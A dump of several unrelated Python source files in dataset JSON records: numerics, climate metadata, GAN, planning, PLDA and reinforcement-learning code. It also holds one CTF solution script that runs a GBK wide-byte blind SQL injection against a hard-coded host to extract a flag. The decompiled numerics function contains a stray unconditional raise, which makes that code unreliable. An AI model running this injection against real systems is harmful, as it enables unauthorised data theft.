seq_type=seqtype)\n tmp = seqarray.copy()\n tmp[:, wtrow] = 0\n mutarray_lil[startrow:endrow + 1, :] = tmp\n startrow = endrow + 1\n endrow = startrow + chunksize - 1\n\n mutarray_csr = mutarray_lil.tocsr()\n return (\n mutarray_csr, wtrow)\n\n\ndef eval_modelmatrix_on_mutarray(modelmatrix, mutarray, wtrow):\n print('numerics: sizes: ', modelmatrix.size, ' ', wtrow.size)\n if not isinstance(modelmatrix, np.ndarray):\n raise SortSeqError('modelmatrix is not a np.ndarray')\n if not isinstance(wtrow, np.ndarray):\n raise SortSeqError('wtrow is not an np.ndarray')\n if not isinstance(mutarray, csr.csr_matrix):\n raise SortSeqError('mutarray is not a sparse csr_matrix')\n raise SortSeqError('Unrecognized model type %s' % modeltype)\n if len(wtrow.shape) != 1:\n raise SortSeqError('wtrow is not 1-dimensional')\n if len(modelmatrix.shape) != 2:\n raise SortSeqError('modelmatrix is not 2-dimensional')\n if wtrow.size != modelmatrix.size:\n raise SortSeqError('wtrow does not match modelmatrix')\n modelmatrix_vec = modelmatrix.ravel()\n const_val = np.dot(wtrow, modelmatrix_vec)\n tmp_matrix = modelmatrix.copy()\n indices = wtrow.reshape(modelmatrix.shape).astype(bool)\n wt_matrix_vals = tmp_matrix[indices]\n tmp_matrix -= wt_matrix_vals[:, np.newaxis]\n modelmatrix_for_mutarray = csr_matrix(np.matrix(tmp_matrix.ravel()).T)\n mutarray_vals = mutarray * modelmatrix_for_mutarray\n vals = const_val + mutarray_vals.toarray().ravel()\n return vals","sub_path":"pycfiles/mpathic-0.6-cp36-cp36m-macosx_10_7_x86_64/numerics.cpython-36.py","file_name":"numerics.cpython-36.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290245372","text":"# -*- coding:utf-8 -*-\nimport requests\nloc = \"http://218.2.197.235:23733/index.php?key=\"\n# s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"$\\'()*+,-./:;<=>?@[\\\\]^`{|}~\\'\"_%'\ns=\"1234567890abcdefABCDEF\"\ntemp=\"\"\nj=1\nwhile True:\n\tfor i in range(len(s)):\n\t\ttemp=temp+s[i].encode(\"hex\")\n\t\t# print(temp)\n\t\tpayload=\"%df'|| left((select%0bhex(flag)%0bfrom%0bflag),\"+str(j)+\")=0x\"+temp+\"%23\" # 16进制绕过\n\t\turl=loc+payload\n\t\t# print(url)\n\t\t# print(temp)\n\t\tr=requests.get(url)\n\t\tif len(r.text)>1000:\n\t\t\tprint(temp)\t\n\t\t\tbreak\n\t\telse:\n\t\t\ttemp=temp[0:len(temp)-2]\n\tj+=1\n","sub_path":"Python/2017NJCTF/gbk.py","file_name":"gbk.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"127902961","text":"\"\"\"\nThese constants represent metadata for Lifemapper-available climate data \npackages. New climate data packages should be in a file named \nCLIMATE_PACKAGE.tar.gz \n\n@note: \nDirectory pattern like 10min/worldclim1.4/ or 10min/CCSM4/2050/RCP4.5/\n SCENARIO_PACKAGE topdir/\n Baseline name/\n climate files \n IPCC Report code/\n GCM Model code/\n Time code/\n RCP code/\n \n@note:\nFilename (baseline) pattern like alt.tif (altitude), bio1.tif .. bio19.tif\n lowercase layertype keys\nFilename (future) pattern like cc85bi5019.tif\n bi<2 digit timekey><2 digit bioclim number>\n \n@note:\nCharlie says:\nHere is my attempt at arranging the metadata files for \"experiment 3\" which \nincludes climate (bioclim), soil, and spatial layers.\n\nI was a little unclear on how to structure the 'env.meta' file for the \ncombinations we are looking. We are currently projecting across 4 different \nGCMs (he, gs, gd, ac) at one RCP (4.5), and 1 GCM (he) at 3 additional \nRCPs (2.6, 6.0, 8.5). These projections are for both 2050 and 2070.\n\"\"\"\n\nfrom osgeo import gdalconst\n \n# For remote data, cannot read to get this \nENVLYR_GDALTYPE = gdalconst.GDT_Int16\nENVLYR_GDALFORMAT = 'GTiff'\nEPSG = 2163\n# @TODO: meters!?\nMAPUNITS = 'dd' \n# Decimal degrees for EPSG 2163\n# @TODO: values in meters!?\nRESOLUTIONS = {'10min': 0.16667, '5min': 0.083333, '30sec': 0.0083333}\nCLIMATE_KEYWORDS = ['bioclimatic variables', 'climate', 'elevation', 'soil', \n 'spatial distance']\n\n# Observed climate data, from www.worldclim.org \nBASELINE_DATA = {\n 'Base': {\n # Name for climate scenario\n 'name': 'Worldclim1.4+Soil+SpatialDistance', \n # Layers from Baseline which are re-used in predicted future\n 'staticLayerTypes': ['gmted2010.elv_mean', 't_clay', 't_gravel', 't_sand', \n 't_silt', 't_clay', 't_oc', 't_ph', 't_cec', \n 't_caco3', 't_caso4', 't_ece', 'svd.pc1', 'svd.pc2', \n 'svd.pc3'],\n # Top relative directory, under CLIMATE_PACKAGE top dir, for scenario layers\n 'directory': 'Curr', \n # Year range (low, high) that these data represent\n 'time': (1950, 2000), \n # Short code for naming this scenario\n 'code': 'Curr', \n # @TODO: Fix title, author, description\n # Short title for this scenario\n 'title': 'Worldclim1.4, Soil, SpatialDistance', \n # Author of these data\n 'author': ' Hijmans, R.J., S.E. Cameron, J.L. Parra, P.G. Jones and A. Jarvis, 2005. Very high resolution interpolated climate surfaces for global land areas. International Journal of Climatology 25: 1965-1978',\n # Extended description of the data \n 'description': 'WorldClim 1.4 bioclimatic variables computed from interpolated observation data collected between 1950 and 2000 (http://www.worldclim.org/), 5 min resolution',\n 'keywords': ['observed', 'present'] \n }\n}\n \n# Time periods available for worldclim data, AR5 future projections, \n# CMIP5 past projections, from www.worldclim.org \nTIME_PERIODS = {\n # Time step key, used in directory structure\n '2050': { \n # Full name of time step\n 'name': '2041-2060',\n # Integer for year, or None if NA \n 'startdate': 2041, \n 'enddate': 2060,\n 'keywords': ['predicted', 'future']\n }, \n '2070': {\n 'name': '2061-2080',\n 'startdate': 2061,\n 'enddate': 2080,\n 'keywords': ['predicted', 'future']\n }\n}\n\nPREDICTED_DATA = {\n # Predicted future (IPCC) or past (CMIP) report code\n # Used for naming scenario code and relative paths. \n # Top relative directory, under under CLIMATE_PACKAGE top dir\n # Future\n 'AR5': { \n # Name of climate report\n 'name': 'IPCC Fifth Assessment Report (2014)', \n # he / HadGEM2-ES\n 'models': \n {# AKA he, long code used for scenario code and dir structure\n 'HadGEM2-ES': {'name': 'Hadley Centre Global Environment Model v2 - Earth System',\n # Short code for GCM model, for filenames \n 'shortcode': 'he', \n 'author': 'Collins, W.J., N. Bellouin, M. Doutriaux-Boucher, N. Gedney, T. Hinton, C. D. Jones, S. Liddicoat, G. Martin, F. OConnor, J. Rae, C. Senior, I. Totterdell, S. Woodward, T. Reichler, J. Kim, 2008: Evaluation of the HadGEM2 model. Met Office Hadley Centre Technical Note no. HCTN 74, available from Met Office, FitzRoy Road, Exeter EX1 3PB http://www.metoffice.gov.uk/publications/HCTN/index.html'\n },\n # AKA gs\n 'GISS-E2-R': {'name': 'NASA GISS GCM ModelE',\n # Short code for GCM model, for filenames \n 'shortcode': 'gs', \n 'author': 'Nazarenko, L., G.A. Schmidt, R.L. Miller, N. Tausnev, M. Kelley, R. Ruedy, G.L. Russell, I. Aleinov, M. Bauer, S. Bauer, R. Bleck, V. Canuto, Y. Cheng, T.L. Clune, A.D. Del Genio, G. Faluvegi, J.E. Hansen, R.J. Healy, N.Y. Kiang, D. Koch, A.A. Lacis, A.N. LeGrande, J. Lerner, K.K. Lo, S. Menon, V. Oinas, J.P. Perlwitz, M.J. Puma, D. Rind, A. Romanou, M. Sato, D.T. Shindell, S. Sun, K. Tsigaridis, N. Unger, A. Voulgarakis, M.-S. Yao, and J. Zhang, 2015: Future climate change under RCP emission scenarios with GISS ModelE2. J. Adv. Model. Earth Syst., early on-line, doi:10.1002/2014MS000403, http://data.giss.nasa.gov/modelE/ar5/'\n },\n # AKA ac\n 'ACCESS1-0': {'name': 'ACCESS1-0 CSIRO, Commonwealth Scientific and Industrial Research Organisation, Australia',\n # Short code for GCM model, for filenames \n 'shortcode': 'ac', \n 'author': 'CSIRO, Commonwealth Scientific and Industrial Research Organisation, Australia, https://confluence.csiro.au/display/ACCESS/Home'\n },\n # AKA gd\n 'GFDL-ESM2G': {'name': 'Geophysical Fluid Dynamics Laboratory - Earth System Models 2G',\n # Short code for GCM model, for filenames \n 'shortcode': 'gd', \n 'author': 'Dunne, John P., et al. \"GFDLs ESM2 global coupled climate-carbon Earth System Models. Part I: Physical formulation and baseline simulation characteristics.\" Journal of Climate 25.19 (2012): 6646-6665, http://www.gfdl.noaa.gov/earth-system-model'\n }}, \t\t\n 'scenarios': \n {# Representative Concentration Pathways code, used in scenario code and dir structure\n 'RCP2.6': {'shortcode': '26',\n 'keywords': ['radiative forcing +2.6', \n 'likely temperature increase 0.3 to 1.7 C by 2081-2100']}, \n 'RCP4.5': {'shortcode': '45',\n 'keywords': ['radiative forcing +4.5', \n 'likely temperature increase 1.1 to 2.6 C by 2081-2100']},\n 'RCP6.0': {'shortcode': '60',\n 'keywords': ['radiative forcing +6.0', \n 'likely temperature increase 1.4 to 3.1 C by 2081-2100']},\n 'RCP8.5': {'shortcode': '85',\n 'keywords': ['radiative forcing +8.5', \n 'likely temperature increase 2.6 to 4.8 C by 2081-2100']} \n }}}\n\n# Lifemapper-packaged data, produced by Worldclim, www.worldclim.org \n# Example: 10 minute, global data, baseline, past, future\n # past: CCSM4-lgm-10min,CCSM4-mid-10min\n # baseline: WC-10min\n # future: CCSM4-RCP8.5-2070-10min,CCSM4-RCP4.5-2070-10min,CCSM4-RCP8.5-2050-10min,CCSM4-RCP4.5-2050-10min\n#\n# This is the primary component of the metadata, it assembles a subset of data \n# from the previous dictionaries: BASELINE, TIME_PERIODS, and REPORTS\n# \nCLIMATE_PACKAGES = {\n # Name of climate data package, base filename for tar file, metadata file, csv file \n '1km-past-present-future': \n { \n # Resolution of climate data in this package\n 'res': '1km', \n # Top directory for this package of data\n 'topdir': '1km', \n # Bounding box for the layers in this package, in MAPUNITS \n # (dd, Decimal degrees for EPSG 4326)\n 'bbox': [-180, -60, 180, 90],\n # BASELINE_DATA code\n 'present': 'Base',\n # References key in REPORTS\n # {REPORT: [(model, RCP, Time), (model, RCP, Time) ...]}\n 'future': {'AR5': [('HadGEM2-ES', 'RCP2.6', '2050'), \n ('HadGEM2-ES', 'RCP2.6', '2070'),\n ('HadGEM2-ES', 'RCP4.5', '2050'), \n ('HadGEM2-ES', 'RCP4.5', '2070'),\n ('HadGEM2-ES', 'RCP6.0', '2050'), \n ('HadGEM2-ES', 'RCP6.0', '2070'),\n ('HadGEM2-ES', 'RCP8.5', '2050'), \n ('HadGEM2-ES', 'RCP8.5', '2070'),\n ('GISS-E2-R', 'RCP4.5', '2050'), \n ('GISS-E2-R', 'RCP4.5', '2070'),\n ('ACCESS1-0', 'RCP4.5', '2050'), \n ('ACCESS1-0', 'RCP4.5', '2070'),\n ('GFDL-ESM2G', 'RCP4.5', '2050'), \n ('GFDL-ESM2G', 'RCP4.5', '2070')]\n },\n # Append to all scenario codes if needed for identification \n # (i.e. of a region or other constraint) \n 'suffix': None\n }\n}","sub_path":"charlie/env.meta.exp3.py","file_name":"env.meta.exp3.py","file_ext":"py","file_size_in_byte":9323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293546105","text":"import json\nfrom absl import app\nfrom absl import flags\nimport matplotlib.pyplot as plt\nimport torch\n\nfrom data_loader_camus import DatasetCAMUS\nfrom gan import GAN\n\n# from utils import set_backend\n\nflags.DEFINE_string('dataset_path', None, 'Path of the dataset.')\nflags.DEFINE_boolean('test', False, 'Test model and generate outputs on the test set')\nflags.DEFINE_string('config', None, 'Config file for training hyper-parameters.')\nflags.DEFINE_boolean('use_wandb', False, 'Use wandb for logging')\nflags.DEFINE_string('wandb_resume_id', None, 'Resume wandb process with the given id')\nflags.DEFINE_string('wandb_run_name', 'blah-blah', 'wandb run name')\nflags.DEFINE_string('ckpt_load', None, 'Path to load the model')\n# in the config now\n#flags.DEFINE_float('train_ratio', 0.95,\n# 'Ratio of training data used for training and the rest used for testing. Set this value to 1.0 if '\n# 'the data in the test folder are to be used for testing.')\n#flags.DEFINE_float('valid_ratio', 0.02, 'Ratio of training data used for validation')\nflags.mark_flag_as_required('dataset_path')\nflags.mark_flag_as_required('config')\n\nFLAGS = flags.FLAGS\n\nplt.switch_backend('agg')\n\n\ndef main(argv):\n # Load configs from file\n\n config = json.load(open(FLAGS.config))\n # set_backend()\n\n # Set name\n #name = '{}_{}_'.format(config['INPUT_NAME'], config['TARGET_NAME'])\n #for l in config['LABELS']:\n # name += str(l)\n #config['NAME'] += '_' + name\n\n\n\n\n if FLAGS.use_wandb:\n import wandb\n resume_wandb = True if FLAGS.wandb_resume_id is not None else False\n wandb.init(config=config, resume=resume_wandb, id=FLAGS.wandb_resume_id, project='EchoGen', name=FLAGS.wandb_run_name)\n\n # Initialize GAN\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(device)\n\n\n\n model = GAN(config, FLAGS.use_wandb, device, FLAGS.dataset_path)\n\n\n # load trained models if they exist\n if FLAGS.ckpt_load is not None:\n model.load(f'{FLAGS.ckpt_load}/generator_last_checkpoint.bin', model='generator')\n model.load(f'{FLAGS.ckpt_load}/discriminator_last_checkpoint.bin', model='discriminator')\n\n if FLAGS.test:\n model.test()\n else:\n model.train()\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447417834","text":"from __future__ import print_function\nimport OS_Calls\nimport initialize\nimport POS\nimport TransitionSystem\nimport LDBA\nimport DFA\n\n\ndef main():\n\n OS_Calls.clear_screen()\n\n ########################################################\n # defining simulation properties\n ########################################################\n\n (allLanes, allVelocities,\n allowedLaneVelocites, maxDist,\n maxTime, goalStates, initCarX,\n initCarY, initCarT, initCarVel,\n savePath) = initialize.getSimSettings()\n\n print('defined simulation properties')\n\n ########################################################\n # Defining the Occupancy Set\n ########################################################\n\n POSMat = POS.makePOS(allLanes, allowedLaneVelocites,\n maxDist, maxTime,\n initCarX, initCarY)\n\n print('built the occupancy set')\n\n ########################################################\n # Defining the Transition System\n ########################################################\n\n print('building the transition system...')\n\n TS = TransitionSystem.TransitionSystem(initCarX, initCarY, initCarT,\n initCarVel, maxTime, allLanes,\n allVelocities, allowedLaneVelocites,\n goalStates, POSMat)\n\n print('built the transition system')\n\n ########################################################\n # Defining the LTL Deterministic Buchi Automata (LDBA)\n #######################################################\n\n LTLFormula = 'G(!crashed & !speeding) & F(atGoal)'\n LDBAObj = LDBA.LDBA(LTLFormula)\n\n print('built the LDBA')\n\n ########################################################\n # Creating the Product Automata, using Topological Sort,\n # then backtracking for the solution\n ########################################################\n\n print('calculating the product automata')\n\n acceptingGoalNode = DFA.formAndSolveProduct(TS=TS, LDBA=LDBAObj)\n\n if acceptingGoalNode is not None:\n print('found the final solution node in the product:')\n else:\n print('found no accepting path through product')\n\n optimalPath = DFA.getPathToRootFromLeaf(acceptingGoalNode)\n\n ########################################################\n # Print Results\n ########################################################\n\n if acceptingGoalNode is not None:\n print('plotting results...')\n POS.plotCarAndPOS(POSMat, optimalPath, savePath,\n initCarY, allLanes, goalStates, maxTime)\n print('done. Have a swagtastic day!')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640800526","text":"\"\"\"\n Copyright 2018 Johns Hopkins University (Author: Jesus Villalba)\n Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\nfrom six.moves import xrange\n\nimport sys\nimport os\nimport argparse\nimport time\nimport copy\n\nimport numpy as np\n\nfrom ..io import RandomAccessDataReaderFactory as DRF\nfrom ..utils.utt2info import Utt2Info\nfrom ..utils.trial_ndx import TrialNdx\nfrom ..transforms import TransformList\n\nclass TrialDataReader(object):\n \"\"\"\n Loads Ndx, enroll file and x-vectors to evaluate PLDA.\n \"\"\"\n\n def __init__(self, v_file, ndx_file, enroll_file, test_file,\n preproc, tlist_sep=' ', \n model_idx=1, num_model_parts=1, seg_idx=1, num_seg_parts=1,\n eval_set='enroll-test'):\n\n self.r = DRF.create(v_file)\n self.preproc = preproc\n\n enroll = Utt2Info.load(enroll_file, sep=tlist_sep)\n test = None\n if test_file is not None:\n test = Utt2Info.load(test_file, sep=tlist_sep)\n ndx = None\n if ndx_file is not None:\n ndx = TrialNdx.load(ndx_file)\n \n ndx, enroll = TrialNdx.parse_eval_set(ndx, enroll, test, eval_set)\n if num_model_parts > 1 or num_seg_parts > 1:\n ndx = TrialNdx.split(model_idx, num_model_parts, seg_idx, num_seg_parts)\n enroll = enroll.filter_info(ndx.model_set)\n\n self.enroll = enroll\n self.ndx = ndx\n\n\n \n def read(self):\n x_e = self.r.read(self.enroll.key, squeeze=True)\n x_t = self.r.read(self.ndx.seg_set, squeeze=True)\n \n if self.preproc is not None:\n x_e = self.preproc.predict(x_e)\n x_t = self.preproc.predict(x_t)\n\n return x_e, x_t, self.enroll.info, self.ndx\n\n\n\n @staticmethod\n def filter_args(prefix=None, **kwargs):\n if prefix is None:\n p = ''\n else:\n p = prefix + '_'\n valid_args = ('tlist_sep', \n 'model_idx','num_model_parts',\n 'seg_idx', 'num_seg_parts',\n 'eval_set')\n return dict((k, kwargs[p+k])\n for k in valid_args if p+k in kwargs)\n\n \n @staticmethod\n def add_argparse_args(parser, prefix=None):\n if prefix is None:\n p1 = '--'\n p2 = ''\n else:\n p1 = '--' + prefix + '-'\n p2 = prefix + '_'\n parser.add_argument(p1+'tlist-sep', dest=(p2+'tlist_sep'), default=' ',\n help=('trial lists field separator'))\n # parser.add_argument(p1+'v-field', dest=(p2+'v_field'), default='',\n # help=('dataset field in the data file'))\n\n parser.add_argument(p1+'model-part-idx', dest=(p2+'model_idx'), default=1, type=int,\n help=('model part index'))\n parser.add_argument(p1+'num-model-parts', dest=(p2+'num_model_parts'), default=1, type=int,\n help=('number of parts in which we divide the model'\n 'list to run evaluation in parallel'))\n parser.add_argument(p1+'seg-part-idx', dest=(p2+'seg_idx'), default=1, type=int,\n help=('test part index'))\n parser.add_argument(p1+'num-seg-parts', dest=(p2+'num_seg_parts'), default=1, type=int,\n help=('number of parts in which we divide the test list '\n 'to run evaluation in parallel'))\n \n parser.add_argument(p1+'eval-set', dest=(p2+'eval_set'), type=str.lower,\n default='enroll-test',\n choices=['enroll-test','enroll-coh','coh-test','coh-coh'],\n help=('evaluation subset'))\n","sub_path":"hyperion/helpers/trial_data_reader.py","file_name":"trial_data_reader.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583758718","text":"import numpy as np\n\nimport torch\nimport torchvision.transforms as T\n\nfrom ..replay_buffers import EXP, EXPPER\nfrom ..networks import LeakyReLU, ActorNN, CriticNN\nfrom ..DDPG import DeepDeterministicPolicyGradientAlgorithm\n\n\nclass DDPGAgent():\n def __init__(self, algorithm):\n \"\"\"\n :param algorithm: algorithm class to use to optimize the network(s).\n \"\"\"\n\n self.algorithm = algorithm\n self.training = False\n self.preprocess_function = self.algorithm.kwargs[\"preprocess\"]\n\n self.kwargs = algorithm.kwargs\n\n self.nbr_steps = 0\n\n self.name = self.kwargs['name']\n\n def getModel(self):\n return [self.algorithm.model_actor, self.algorithm.model_critic]\n\n def handle_experience(self, s, a, r, succ_s, done=False):\n hs = self.preprocess_function(s)\n hsucc = self.preprocess_function(succ_s)\n r = torch.ones(1)*r\n a = torch.from_numpy(a)\n experience = EXP(hs, a, hsucc, r, done)\n self.algorithm.handle_experience(experience=experience)\n\n if self.training:\n self.algorithm.train(iteration=self.kwargs['nbrTrainIteration'])\n\n def take_action(self, state):\n return self.act(state=self.preprocess_function(state), exploitation=not(self.training), exploration_noise=None)\n \n def reset_eps(self):\n pass\n\n def act(self, state, exploitation=True,exploration_noise=None) :\n if self.use_cuda :\n state = state.cuda()\n action = self.algorithm.model_actor( state).detach()\n \n if exploitation :\n return action.cpu().data.numpy()\n else :\n # exploration :\n if exploration_noise is not None :\n self.algorithm.noise.setSigma(exploration_noise)\n new_action = action.cpu().data.numpy() + self.algorithm.noise.sample()*self.algorithm.model_actor.action_scaler\n return new_action\n\n\n\n def clone(self, training=None, path=None):\n from ..agent_hook import AgentHook\n cloned = AgentHook(self, training=training, path=path)\n return cloned\n\nclass PreprocessFunction(object) :\n def __init__(self, hash_function=None,use_cuda=False):\n self.hash_function = hash_function\n self.use_cuda = use_cuda\n def __call__(self,x) :\n if self.hash_function is not None :\n x = self.hash_function(x)\n if self.use_cuda :\n return torch.from_numpy( x ).unsqueeze(0).type(torch.cuda.FloatTensor)\n else :\n return torch.from_numpy( x ).unsqueeze(0).type(torch.FloatTensor)\n\n\ndef build_DDPG_Agent(state_space_size=32,\n action_space_size=3,\n learning_rate=1e-3,\n num_worker=1,\n nbrTrainIteration=1,\n action_scaler=1.0,\n memoryCapacity=25e3,\n use_PER=False,\n alphaPER=0.7,\n use_HER=False,\n k_HER=2,\n strategy_HER='future',\n singlegoal_HER=False,\n MIN_MEMORY=5e1,\n use_cuda=False):\n kwargs = dict()\n \"\"\"\n :param kwargs:\n \"path\": str specifying where to save the model(s).\n \"use_cuda\": boolean to specify whether to use CUDA.\n \"replay_capacity\": int, capacity of the replay buffer to use.\n \"min_capacity\": int, minimal capacity before starting to learn.\n \"batch_size\": int, batch size to use [default: batch_size=256].\n \"use_PER\": boolean to specify whether to use a Prioritized Experience Replay buffer.\n \"PER_alpha\": float, alpha value for the Prioritized Experience Replay buffer.\n \"lr\": float, learning rate [default: lr=1e-3].\n \"tau\": float, target update rate [default: tau=1e-3].\n \"gamma\": float, Q-learning gamma rate [default: gamma=0.999].\n \"preprocess\": preprocessing function/transformation to apply to observations [default: preprocess=T.ToTensor()]\n \"nbrTrainIteration\": int, number of iteration to train the model at each new experience. [default: nbrTrainIteration=1]\n \"action_dim\": number of dimensions in the action space.\n \"state_dim\": number of dimensions in the state space.\n \"actfn\": activation function to use in between each layer of the neural networks.\n \n \"\"\"\n\n preprocess = PreprocessFunction(use_cuda=use_cuda)\n\n BATCH_SIZE = 128\n GAMMA = 0.99\n TAU = 1e-3\n \n #HER :\n k = k_HER\n strategy = strategy_HER\n singlegoal = singlegoal_HER\n HER = {'k':k, 'strategy':strategy,'use_her':use_HER,'singlegoal':singlegoal}\n kwargs['HER'] = HER\n\n kwargs['nbrTrainIteration'] = nbrTrainIteration\n kwargs[\"action_dim\"] = action_space_size\n kwargs[\"state_dim\"] = state_space_size\n kwargs[\"action_scaler\"] = action_scaler\n \n kwargs[\"actfn\"] = LeakyReLU\n \n # Create model architecture:\n actor = ActorNN(state_dim=state_space_size,action_dim=action_space_size,action_scaler=action_scaler,HER=HER['use_her'],use_cuda=use_cuda)\n actor.share_memory()\n critic = CriticNN(state_dim=state_space_size,action_dim=action_space_size,HER=kwargs['HER']['use_her'],use_cuda=use_cuda)\n critic.share_memory()\n \n name = \"DDPG\"\n model_path = './'+name\n path=model_path\n\n kwargs['name'] = name\n kwargs[\"path\"] = path\n kwargs[\"use_cuda\"] = use_cuda\n\n kwargs[\"replay_capacity\"] = memoryCapacity\n kwargs[\"min_capacity\"] = MIN_MEMORY\n kwargs[\"batch_size\"] = BATCH_SIZE\n kwargs[\"use_PER\"] = use_PER\n kwargs[\"PER_alpha\"] = alphaPER\n\n kwargs[\"lr\"] = learning_rate\n kwargs[\"tau\"] = TAU\n kwargs[\"gamma\"] = GAMMA\n\n kwargs[\"preprocess\"] = preprocess\n \n kwargs['replayBuffer'] = None\n\n DeepDeterministicPolicyGradient_algo = DeepDeterministicPolicyGradientAlgorithm(kwargs=kwargs, models={\"actor\":actor, \"critic\":critic})\n\n return DDPGAgent(algorithm=DeepDeterministicPolicyGradient_algo)\n","sub_path":"rl_algorithms/agents/deep_deterministic_policy_gradient_agent.py","file_name":"deep_deterministic_policy_gradient_agent.py","file_ext":"py","file_size_in_byte":6059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"495879316","text":"from predictor import PosPrediction, resfcn256\nimport os\nimport tensorflow as tf\nimport skimage.io\nimport numpy as np\n\n\ndef train(loss_val, var_list):\n global_step = tf.Variable(FLAGS['start_step'], trainable=False)\n learning_rate = tf.train.exponential_decay(FLAGS['learning_rate'],\n global_step=global_step,\n decay_steps=FLAGS['decay_step'], decay_rate=FLAGS['decay_rate'],\n staircase=True)\n optimizer = tf.train.AdamOptimizer(learning_rate)\n grads = optimizer.compute_gradients(loss_val, var_list=var_list)\n return optimizer.apply_gradients(grads, global_step=global_step), learning_rate, global_step\n\n\ndef _parse_function(input_file, label_file):\n image_string = tf.read_file(input_file)\n image_decoded = tf.image.decode_image(image_string)\n\n label_string = tf.read_file(label_file)\n label_decoded = tf.image.decode_image(label_string)\n return image_decoded, label_decoded\n\n\nFLAGS = {'learning_rate': 1e-4,\n 'log_dir': 'Data/net-data/',\n 'weight_file': './Data/net-data/256_256_resfcn256_weight',\n 'decay_step': 2500,\n 'decay_rate': 0.25,\n 'start_step': 0,\n 'end_step': 15000,\n 'batch_size': 8\n }\n\nimport random\n\n\nclass BatchData(object):\n def __init__(self, data_dir, batch_size=32, valid_percent=0.2):\n input_dir = os.path.join(data_dir, 'origin')\n label_dir = os.path.join(data_dir, 'uv_map')\n input_list = [os.path.join(input_dir, f)\n for f in os.listdir(input_dir)]\n label_list = []\n for f in input_list:\n filename = os.path.splitext(os.path.split(f)[-1])[0]\n label_file = os.path.join(\n label_dir, filename+'_uv_position_map.npy')\n if os.path.exists(label_file):\n label_list.append(label_file)\n else:\n raise Exception('missing label for %s' % f)\n self.input_list, self.label_list = input_list, label_list\n self.batch_size = batch_size\n self._read_image()\n np.random.shuffle(self.data)\n valid_num = int(max(1, valid_percent*len(self.data)))\n self.valid_num = valid_num\n\n @property\n def train(self):\n return IterableBatchData(data=self.data[-self.valid_num:], batch_size=self.batch_size)\n\n @property\n def valid(self):\n return IterableBatchData(data=self.data[-self.valid_num:], batch_size=self.batch_size)\n\n def _read_image(self):\n self.images = np.array([self._input_transform(f)\n for f in self.input_list])\n self.annotations = np.array([self._label_transform(f)\n for f in self.label_list])\n self.data = [(self.images[i, :, :, :], self.annotations[i, :, :, :])\n for i in range(self.images.shape[0])]\n for item in self.data:\n image, annot = item\n print(self.images.shape)\n print(self.annotations.shape)\n\n def _label_transform(self, filename):\n image = np.load(filename)/256.\n return image.astype(np.float32)\n\n def _input_transform(self, filename):\n image = skimage.io.imread(filename)/255.\n return image.astype(np.float32)\n\n\nclass IterableBatchData(object):\n class Iterator(object):\n def __init__(self, ibd):\n self.index = 0\n self.batch_size = ibd.batch_size\n self.data = ibd.data\n self.length = ibd._length\n\n def __iter__(self):\n return self\n\n def next(self):\n return self.__next__()\n\n def __next__(self):\n index = self.index\n if index >= self.length:\n raise StopIteration()\n else:\n self.index = min(len(self.data),\n self.index + self.batch_size)\n ret = self.data[index:self.index]\n return [np.array([item[i] for item in ret]) for i in range(len(ret[0]))]\n\n def __init__(self, data, batch_size=32):\n self.batch_offset, self.batch_size = 0, batch_size\n self.data = data\n self._length = len(data)\n self._data_len = len(self.data[0])\n\n def get_next(self):\n start = self.batch_offset\n self.batch_offset += self.batch_size\n if self.batch_offset > self._length:\n # Shuffle the data\n # perm = np.arange(self._length)\n np.random.shuffle(self.data)\n start = 0\n self.batch_offset = self.batch_size\n end = self.batch_offset\n ret = self.data[start:end]\n # [(item[i] for i in range(self._data_len)) for item in ret]\n return [np.array([item[i] for item in ret]) for i in range(self._data_len)]\n\n def __iter__(self):\n return self.__class__.Iterator(self)\n\n def __len__(self):\n return self._length\n\n\ndef main():\n resolution_inp = 256\n resolution_op = 256\n MaxPos = resolution_inp*1.1\n\n # network type\n network = resfcn256(resolution_inp, resolution_op)\n\n # net forward\n mask_weight = np.load('../results/mask.npy')\n if len(mask_weight.shape) == 2:\n mask_weight = mask_weight[:, :, np.newaxis]\n mask_weight = np.repeat(mask_weight, 3, axis=2)\n\n constant_mask = tf.constant(mask_weight)\n x = tf.placeholder(\n tf.float32, shape=[None, resolution_inp, resolution_inp, 3])\n y_ = tf.placeholder(\n tf.float32, shape=[None, resolution_op, resolution_op, 3]\n )\n x_op = network(x, is_training=True)\n loss = tf.square(y_ - x_op)\n loss = tf.multiply(loss, constant_mask)\n loss = tf.reduce_mean(loss)\n loss_summary = tf.summary.scalar(\"entropy\", loss)\n trainable_var = tf.trainable_variables()\n train_op, lr_op, global_step_op = train(loss, trainable_var)\n dataset = BatchData('../results/', batch_size=FLAGS['batch_size'])\n print('train length is {}, valid length is {}'.format(\n len(dataset.train), len(dataset.valid)))\n iterator = dataset.train\n valid = dataset.valid\n\n tf_config = tf.ConfigProto(\n gpu_options=tf.GPUOptions(allow_growth=False))\n sess = tf.Session(config=tf_config)\n init = tf.global_variables_initializer()\n sess.run(init)\n if 'weight_file' in FLAGS and FLAGS['weight_file'] and os.path.exists(FLAGS['weight_file']+'.data-00000-of-00001'):\n tf.train.Saver(network.vars).restore(\n sess, FLAGS['weight_file'])\n\n saver = tf.train.Saver(max_to_keep=20)\n train_writer = 